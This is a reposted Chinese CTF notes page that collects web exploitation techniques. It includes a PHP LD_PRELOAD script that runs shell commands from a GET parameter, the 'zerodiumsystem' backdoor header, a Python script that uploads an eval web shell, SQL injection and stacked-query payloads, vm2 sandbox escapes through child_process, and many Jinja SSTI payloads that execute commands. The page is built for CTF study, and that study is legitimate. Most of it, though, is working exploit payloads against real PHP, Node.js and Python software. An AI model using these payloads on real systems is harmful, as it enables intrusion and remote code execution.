ctf解題知識點記錄(持續更新)


一、無數字字母shell

利用到的PHP特性:

1、代碼中沒有引號的字符都自動作為字符串

PHP的經典特性“Use of undefined constant”,會將代碼中沒有引號的字符都自動作為字符串,7.2開始提出要被廢棄,不過目前還存在着。可以理解為$_GET['cmd'] = $_GET[cmd],目前PHP8版本尚未測試是否能用

2、使Ascii碼大於Ox7F的字符都會被當作字符串

3、PHP在獲取HTTP GET參數的時候默認是獲得到了字符串類型

4、PHP中的的大括號(花括號}使用詳解

在字符串的變量的后面跟上{}大括號或者中括號[],里面填寫了數字,這里是把字符串變量當成數組處理,可以理解為${_GET}{cmd} = $_GET['cmd'] = $_GET[cmd]

5、字符串可以用!操作符來進行布爾類型的轉換

<?php
var_dump(@a);   //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)

6、PHP弱類型特性

PHP由於弱類型這個特性,true的值為1,所以true+ture=2

7、自增性

在受到限制的時候,可以通過自增獲得自己想要的字符'a'++ => 'b','b'++ => 'c'

二、文件上傳

1、利用.htaccess上傳文件

  • <?被過濾時,用偽協議繞過,上傳時上傳base64編碼過的文件
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

意思是將后綴.xxx的文件當作php文件進行執行。

三、繞過open_basedir/disable_function的幾種方法

  • 參考鏈接:

bypass open_basedir的新方法

通過chdir來bypass open_basedir

php5全版本繞過open_basedir讀文件腳本

無需sendmail:巧用LD_PRELOAD突破disable_functions

disable_function繞過--利用LD_PRELOAD

bypass_disablefunc_via_LD_PRELOAD

1、chdir繞過

<?php
mkdir('xxx');
chdir('xxx');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
?>

2、鏈接文件繞過

PHP5版本可用

3、disable_function繞過--利用LD_PRELOAD

條件:PHP 支持putenv()和下面用到的函數

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    //error_log("err",1,"","");
    //$img = Imagick("1.mp4");//如果有ImageMagick這個擴展(文件必須存在)
    //imap_mail("","","");//需要安裝imap拓展
    //mb_send_mail("","","");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

四、常見RCE

1、北京時間2021.3.29,git.php.net服務器遭到黑客攻陷,php源碼被黑客植入后門。

改包頭:

payload:User-Agentt: zerodiumsystem('cat /flag');

2、本地文件包含RCE

php7 segment fault特性

php://filter/string.strip_tags=/etc/passwd
php執行過程中出現 Segment Fault,這樣如果在此同時上傳文件,那么臨時文件就會被保存在/tmp目錄,不會被刪除

payload:(例題:[NPUCTF2020]ezinclude)

import requests
from io import BytesIO

payload = "<?php eval($_POST[cmd])?>;"
file_data={
	'file': BytesIO(payload.encode())
}
url="http://588b9bf7-3c49-41b6-93e3-823b74ef67bf.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
        print(False)

LFIroRCE總結

文件包含&奇技淫巧

五、SQL注入

1、md5繞過

查詢語句:SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1

payload:password=12958192621165157191246674165187868 或 password=ffifdyop

2、regexp注入

用於逐字符注出:(NCTF2019—SQLi)

payload:name(表名或字段名) regexp '^[a-zA-Z0-9]'(這里需要爆破字符)

3、用於閉合引號的注釋符

#  
--+
--
;%00
/**/
`

4、mysql中點引號( ' )和反勾號( ` )的區別

linux下不區分,windows下區分
區別:
單引號( ' )或雙引號主要用於字符串的引用符號
eg:mysql> SELECT 'hello', "hello" ;

反勾號( ` )主要用於數據庫、表、索引、列和別名用的引用符是[Esc下面的鍵]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

5、堆疊注入

(1)改數據表

運用:(2021虎符WEB—“慢慢做”管理系統)

paylaod:';use ctf2;rename table `fake_admin` to `test`;rename table `real_admin_here_do_you_find` to `fake_admin`;
(2)預處理語句

關於MySQL中的預處理語句原理與使用,這篇文章講解的比較詳細:MySQL的SQL預處理(Prepared)。本題中由於可以使用堆疊查詢,並且需要使用SELECT關鍵字並繞過過濾,因此想到利用字符串轉換與拼接構造語句最后執行,這時就可以使用預處理語句。

預處理語句使用方式:

PREPARE sqla from '[my sql sequece]';   //預定義SQL語句
EXECUTE sqla;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

預定義語句也可以通過變量進行傳遞,比如:

SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE sqla from @sql;   //預定義SQL語句
EXECUTE sqla;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

運用:(Web-隨便注)

paylaod:';SET @sql=concat(char(115,101,108,101,99,116)," * from `table_name`");PREPARE sqla from @sql;EXECUTE sqla;#

六、nodejs

1、繞過關鍵字過濾(prototype、process等)

(1)拼接繞過
f.constructor("return process")();
等價於
f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();
(2)結合數組調用繞過
`${`${`prototyp`}e`}` == prototype

2、vm2沙盒逃逸([HFCTF2020]JustEscape)

方法一:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

方法二:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

七、SSTI

PYTHON

1、各種payload

命令執行

<class 'warnings.catch_warnings'>

''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")

<class 'subprocess.Popen'>

{{''.__class__.__mro__[1].__subclasses__()[437]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

<class '_frozen_importlib._ModuleLock'>

#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()

''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

其他利用方法(os.system執行成功的返回值為0)

#萬金油,必會
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#<class '_frozen_importlib_external.FileFinder'>
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

#<class 'codecs.StreamReaderWriter'>
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

#<class 'os._wrap_close'>
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

<class 'traceback.FrameSummary'>
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
文件讀取

<class '_frozen_importlib._ModuleLock'>

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}

<class 'click.utils.LazyFile'>

{{ ''.__class__.__mro__[1].__subclasses__()[341]('test.txt').read()}}

<class 'warnings.catch_warnings'>

{{''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].open('test.txt','r').read()}}

<class 'codecs.IncrementalEncoder'>

{{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('test.txt').read()}}

2、部分過濾繞過

函數名被過濾——用+號拼接,例如:'po'+'pen' = 'popen'

關鍵字符被過濾——使用編碼繞過

連接的.被過濾——用|attr進行拼接,例如:attr("\x5f\x5fclass\x5f\x5f")|attr("\x5F\x5Fbases\x5F\x5F") = __class__.__bases__

包裹的{{ }}被過濾——用{% %}繞過

RUBY

Ruby ERB模板注入

Ruby 預定義變量

payload

<%= 7 * 7 %>

例題:[SCTF2019]Flag Shop

八、反序列化

PHP

魔術方法

__get
當對象調用不可訪問屬性時,就會自動觸發get魔法方法。

__call
在對象調用不可訪問函數時,就會自動觸發call魔法方法。

__construct
當對象被創建的時候調用。

__destruct
當對象被銷毀的時候調用。

__toString
當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷也會觸發)。

__sleep
序列化對象之前就調用此方法(其返回需要是一個數組)。

__wakeup
反序列化恢復對象之前就調用此方法。

__call
當調用對象中不存在的方法會自動調用此方法。

  • SoapClient
這個也算是目前被挖掘出來最好用的一個內置類,php5、7都存在此類,可以利用SoapClient中的__call方法進行SSRF。
原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0

字符逃逸

function safe($parm)
{
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

問題就出在這里,該函數對字符串進行了一些替換,但是替換前后字符串長度可能發生變化,比如將union替換為hacker增加了一個字符,於是我們可以利用這個漏洞將我們的序列化字符串逃逸出來。如果不這樣做,payload就會當作一個普通字符串,而不是序列化里的內容。

雜項

哈希長度拓展攻擊

哈希長度擴展攻擊的簡介以及HashPump安裝使用方法

payload:(例題:[NPUCTF2020]ezinclude)

import os
import requests
for i in range(1,12):
    data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()
    name=data.split('\n')[0]
    password=data.split('\n')[1].replace('\\x','%')
    result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name='+password+'&pass='+name).text
    print(result)

PHP根據隨機數預測種子

php_mt_rand 工具只能用於爆破mt_rand()函數產生的隨機數的種子值, 無論是否顯式調用mt_srand()函數播種,但不能用於mt_rand(1,1000)這種指定范圍的和rand函數的爆破

例題:[MRCTF2020]Ezaudit


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM